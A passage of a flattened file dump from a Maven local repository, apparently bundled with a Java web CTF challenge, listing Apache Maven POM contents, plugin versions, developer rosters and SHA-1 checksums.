scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/8/maven-parent-8.pom.sha1 ================================================ 6f92a85ec401422bfc6572759a0bab2ff5df525e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:02 CST 2018 maven-parent-9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/9/maven-parent-9.pom ================================================ 4.0.0 org.apache apache 4 ../asf/pom.xml org.apache.maven maven-parent 9 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 jvanzyl Jason van Zyl jason@maven.org ASF PMC Chair -5 aheritier Arnaud Heritier aheritier@apache.org OCTO Technology http://www.octo.com PMC Member +1 brett Brett Porter brett@apache.org ASF PMC Member +10 brianf Brian Fox brianf@apache.org ASF PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 fgiust Fabrizio Giustina fgiust@apache.org openmind PMC Member +1 jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 joakime Joakim Erdfelt joakime@apache.org ASF PMC Member -5 jstrachan James Strachan PMC Member jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF PMC Member +8 jmcconnell Jesse McConnell jmcconnell@apache.org ASF PMC Member -6 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 ltheussl Lukas Theussl ltheussl@apache.org ASF PMC Member +1 mperham Mike Perham mperham@gmail.com IBM PMC Member -6 olamy Olivier Lamy olamy@apache.org PMC Member +1 snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 trygvis Trygve Laugstol trygvis@apache.org ASF PMC Member +1 vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wsmoak Wendy Smoak wsmoak@apache.org PMC Member -7 dkulp Daniel Kulp dkulp@apache.org IONA PMC Member -5 aramirez Allan Q. Ramirez Committer baerrach Barrie Treloar Committer bayard Henri Yandell Committer bellingard Fabrice Bellingard Committer bentmann Benjamin Bentmann bentmann@apache.org Committer +1 chrisjs Chris Stevenson Committer dantran Dan Tran Committer dblevins David Blevins Committer dlr Daniel Rall Committer epunzalan Edwin Punzalan epunzalan@apache.org Committer -8 felipeal Felipe Leme Committer handyande Andrew Williams handyande@apache.org Committer 0 hboutemy Herve Boutemy Committer +1 jjensen Jeff Jensen Committer mkleint Milos Kleint Committer nicolas Nicolas De Loof nicolas@apache.org Capgemini Committer +1 oching Maria Odea B. Ching Committer pschneider Patrick Schneider pschneider@gmail.com Committer -6 rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 rgoers Ralph Goers Committer rinku Rahul Thakur Committer shinobu Shinobu Kuwai Committer smorgrav Torbjorn Eikli Smorgrav Committer ogusakov Oleg Gusakov Committer Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announce Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-9 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-9 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-9 Hudson http://ci.sonatype.org mail
      notifications@maven.apache.org
      maven.staging scp://people.apache.org/www/people.apache.org/builds/maven/${project.version}/staging-repo apache.snapshots ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} apache.website scp://people.apache.org/www/maven.apache.org Apache Development Snapshot Repository scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository UTF-8 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.3 org.apache.maven.plugins maven-antrun-plugin 1.2 org.apache.maven.plugins maven-clean-plugin 2.2 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.3 org.apache.maven.plugins maven-docck-plugin 1.0-beta-2 org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-invoker-plugin 1.2.1 org.apache.maven.plugins maven-jar-plugin 2.2 true true org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.4.2 org.apache.maven.plugins maven-release-plugin 2.0-beta-7 https://svn.apache.org/repos/asf/maven/pom/tags false deploy -Prelease org.apache.maven.plugins maven-remote-resources-plugin 1.0 org.apache.maven.plugins maven-resources-plugin 2.2 ${project.build.sourceEncoding} org.apache.maven.plugins maven-scm-plugin 1.0 org.apache.maven.plugins maven-site-plugin 2.0-beta-7 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.4.3 org.codehaus.mojo clirr-maven-plugin 2.2.2 org.codehaus.plexus plexus-maven-plugin 1.3.5 org.codehaus.modello modello-maven-plugin 1.0-alpha-21 maven-project-info-reports-plugin 2.1 quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 2.4 ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.codehaus.mojo cobertura-maven-plugin clean clean org.apache.maven.plugins maven-project-info-reports-plugin 2.1 org.apache.maven.plugins maven-surefire-report-plugin 2.4.3 org.apache.maven.plugins maven-checkstyle-plugin 2.2 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo cobertura-maven-plugin 2.2 org.codehaus.mojo taglist-maven-plugin 2.2 org.apache.maven.plugins maven-jxr-plugin 2.1 ${project.build.sourceEncoding} org.apache.maven.plugins maven-javadoc-plugin 2.5 ${project.build.sourceEncoding} http://java.sun.com/j2se/1.4.2/docs/api http://java.sun.com/j2ee/1.4/docs/api http://java.sun.com/j2se/1.5.0/docs/api http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ javadoc test-javadoc release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign true org.apache.maven.plugins maven-deploy-plugin ${deploy.altRepository} true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin ${project.build.sourceEncoding} attach-javadocs jar
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/9/maven-parent-9.pom.sha1 ================================================ a7d098bde368f683c2b51475a903a1e74b61ba32 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:28 CST 2018 maven-plugin-api-2.0.6.jar>central= maven-plugin-api-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.jar.sha1 ================================================ 52b32fd980c8ead7a3858d057330bda1ace72d9d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-plugin-api Maven Plugin API junit junit 3.8.1 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.pom.sha1 ================================================ 3af72b052dfefb73ecfae742613012b5396c8863 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:31 CST 2018 maven-plugin-api-2.0.9.jar>central= maven-plugin-api-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.9/maven-plugin-api-2.0.9.jar.sha1 ================================================ 8b8cae9daa688fdb57995c6835a3e24475d554c0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.9/maven-plugin-api-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-plugin-api Maven Plugin API junit junit 3.8.1 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.0.9/maven-plugin-api-2.0.9.pom.sha1 ================================================ 4f6c3d5d50d1e22dea74629b3c52e22b30b6cbbd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:18 CST 2018 maven-plugin-api-2.2.1.jar>central= maven-plugin-api-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.jar.sha1 ================================================ d60c36b60f760e0b5b87dd0c6311f93a72dc4585 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-plugin-api Maven Plugin API junit junit 3.8.1 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.pom.sha1 ================================================ 29a30b7c8180601523293fd61b00fcb298d32230 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-plugin-api-3.0.jar>central= maven-plugin-api-3.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.jar.sha1 ================================================ 98f886f59bb0e69f8e86cdc082e69f2f4c13d648 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.pom ================================================ 4.0.0 org.apache.maven maven 3.0 maven-plugin-api Maven Plugin API org.apache.maven maven-model org.apache.maven maven-artifact wagon-provider-api org.apache.maven.wagon org.sonatype.sisu sisu-inject-plexus org.codehaus.modello modello-maven-plugin src/main/mdo/lifecycle.mdo 1.0.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.pom.sha1 ================================================ 9627e130b4f516945f0db03119dbafb86f168026 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-plugin-descriptor-2.0.6.jar>central= maven-plugin-descriptor-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.jar.sha1 ================================================ 30a00f4ef12d3901c4f842de99e9363e3743245f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-plugin-descriptor Maven Plugin Descriptor Model org.codehaus.modello modello-maven-plugin src/main/mdo/lifecycle.mdo 1.0.0 org.apache.maven maven-plugin-api org.apache.maven maven-artifact org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.pom.sha1 ================================================ c03fb59f559651730a98907d4acf65e6ffb886d6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:31 CST 2018 maven-plugin-descriptor-2.0.9.jar>central= maven-plugin-descriptor-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.9/maven-plugin-descriptor-2.0.9.jar.sha1 ================================================ 10443d038cd57feb4a027e7dfe09bed0925a1953 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.9/maven-plugin-descriptor-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-plugin-descriptor Maven Plugin Descriptor Model org.codehaus.modello modello-maven-plugin src/main/mdo/lifecycle.mdo 1.0.0 org.apache.maven maven-plugin-api org.apache.maven maven-artifact org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.0.9/maven-plugin-descriptor-2.0.9.pom.sha1 ================================================ 2752f80f21bd62796600c66859406a08a587c2d9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-plugin-descriptor-2.2.1.jar>central= maven-plugin-descriptor-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.jar.sha1 ================================================ 68d20ae3c40c4664dc52be90338af796db7ffb32 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-plugin-descriptor Maven Plugin Descriptor Model org.apache.maven maven-plugin-api org.apache.maven maven-artifact org.codehaus.plexus plexus-container-default org.codehaus.modello modello-maven-plugin src/main/mdo/lifecycle.mdo 1.0.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.pom.sha1 ================================================ 020c06240db8c2f9bcf8450414ef040becef16e0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-plugin-parameter-documenter-2.0.6.jar>central= maven-plugin-parameter-documenter-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.jar.sha1 ================================================ df6fa6c4adb313cb8937ffae96368bec1fd5d13d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-plugin-parameter-documenter Maven Plugin Parameter Documenter API org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/paramdoc.mdo org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.pom.sha1 ================================================ c6403fbdb781a3d47a771656054defe1173ce486 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-plugin-parameter-documenter-2.0.9.jar>central= maven-plugin-parameter-documenter-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.9/maven-plugin-parameter-documenter-2.0.9.jar.sha1 ================================================ f481e2677384f6a0ab96633567d736e70657e042 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.9/maven-plugin-parameter-documenter-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-plugin-parameter-documenter Maven Plugin Parameter Documenter API org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/paramdoc.mdo org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.0.9/maven-plugin-parameter-documenter-2.0.9.pom.sha1 ================================================ a575e74bbf8402a2371034d3a128d214c4cee060 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:18 CST 2018 maven-plugin-parameter-documenter-2.2.1.jar>central= maven-plugin-parameter-documenter-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.jar.sha1 ================================================ 1a117baac49437fc5a6fcd9f18f779e6bad4207e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-plugin-parameter-documenter Maven Plugin Parameter Documenter API org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/paramdoc.mdo ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.pom.sha1 ================================================ 8eb54f97405512e83f680f29ef6163f5ef082acb ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-plugin-registry-2.0.6.jar>central= maven-plugin-registry-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.jar.sha1 ================================================ 4242ec8629b4797387751379f57e72cb718aac7a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 org.apache.maven maven-plugin-registry Maven Plugin Registry Model 2.0.6 org.codehaus.modello modello-maven-plugin 1.0.0 plugin-registry.mdo org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.pom.sha1 ================================================ 2e13beea3b3511c6075c60384d9e7fad18efbcdf ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-plugin-registry-2.0.9.jar>central= maven-plugin-registry-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.9/maven-plugin-registry-2.0.9.jar.sha1 ================================================ a7172a87a7cb901cf6df4df9fd89a3c2d3f8a770 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.9/maven-plugin-registry-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 org.apache.maven maven-plugin-registry Maven Plugin Registry Model org.codehaus.modello modello-maven-plugin 1.0.0 plugin-registry.mdo org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.0.9/maven-plugin-registry-2.0.9.pom.sha1 ================================================ 403ed44092f56e1ebab891f37c69d61936c5c4da ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-plugin-registry-2.2.1.jar>central= maven-plugin-registry-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.jar.sha1 ================================================ 72a24b7775649af78f3986b5aa7eb354b9674cfd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-plugin-registry Maven Plugin Registry Model org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default org.codehaus.modello modello-maven-plugin 1.0.0 plugin-registry.mdo ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-plugin-registry/2.2.1/maven-plugin-registry-2.2.1.pom.sha1 ================================================ c3575ac9ad32638af33d88829453bdc902ea8711 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-profile-2.0.6.jar>central= maven-profile-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.jar.sha1 ================================================ f03cd3820d2b4d60b93ccd17a1c14e8eeef63f79 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-profile Maven Profile Model org.codehaus.modello modello-maven-plugin 1.0.0 profiles.mdo org.apache.maven maven-model org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.6/maven-profile-2.0.6.pom.sha1 ================================================ 12d0d8217e613b9cb487c1d1d0db744a4f588528 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-profile-2.0.9.pom>central= maven-profile-2.0.9.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.9/maven-profile-2.0.9.jar.sha1 ================================================ 0b9b02df9134bff9edb4f4e1624243d005895234 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.9/maven-profile-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-profile Maven Profile Model org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/profiles.mdo org.apache.maven maven-model org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.0.9/maven-profile-2.0.9.pom.sha1 ================================================ 616ca5d9ab345e415c6e3f5f75ea24a952690ac0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-profile-2.2.1.jar>central= maven-profile-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.jar.sha1 ================================================ 3950071587027e5086e9c395574a60650c432738 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-profile Maven Profile Model org.apache.maven maven-model org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-interpolation org.codehaus.plexus plexus-container-default org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/profiles.mdo ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-profile/2.2.1/maven-profile-2.2.1.pom.sha1 ================================================ 075b47a5262cae02c228137399b8247e50a43284 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-project-2.0.6.jar>central= maven-project-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.jar.sha1 ================================================ c0df764cd8f5bac660bfa53fa97fdd53663ee308 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-project Maven Project Builder This library is used to not only read Maven project object model files, but to assemble inheritence and to retrieve remote models as required. org.apache.maven maven-settings org.apache.maven maven-artifact-test test org.apache.maven maven-profile org.apache.maven maven-model org.apache.maven maven-artifact-manager org.apache.maven maven-plugin-registry org.codehaus.plexus plexus-utils org.apache.maven maven-artifact org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.6/maven-project-2.0.6.pom.sha1 ================================================ 28e9f98ae3688d8831052283b2d65bd18295a7f5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:31 CST 2018 maven-project-2.0.9.jar>central= maven-project-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.9/maven-project-2.0.9.jar.sha1 ================================================ 30ec37813df5a212888a1f3df0b27497ecef4ad8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.9/maven-project-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-project Maven Project Builder This library is used to not only read Maven project object model files, but to assemble inheritence and to retrieve remote models as required. org.apache.maven maven-settings org.apache.maven maven-artifact-test test org.apache.maven maven-profile org.apache.maven maven-model org.apache.maven maven-artifact-manager org.apache.maven maven-plugin-registry org.codehaus.plexus plexus-utils org.apache.maven maven-artifact org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.0.9/maven-project-2.0.9.pom.sha1 ================================================ 152cb93838c431848f31cd5a7a7a11b98c57135e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-project-2.2.1.jar>central= maven-project-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.jar.sha1 ================================================ 8239e98c16f641d55a4ad0e0bab0aee3aff8933f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-project Maven Project Builder This library is used to not only read Maven project object model files, but to assemble inheritence and to retrieve remote models as 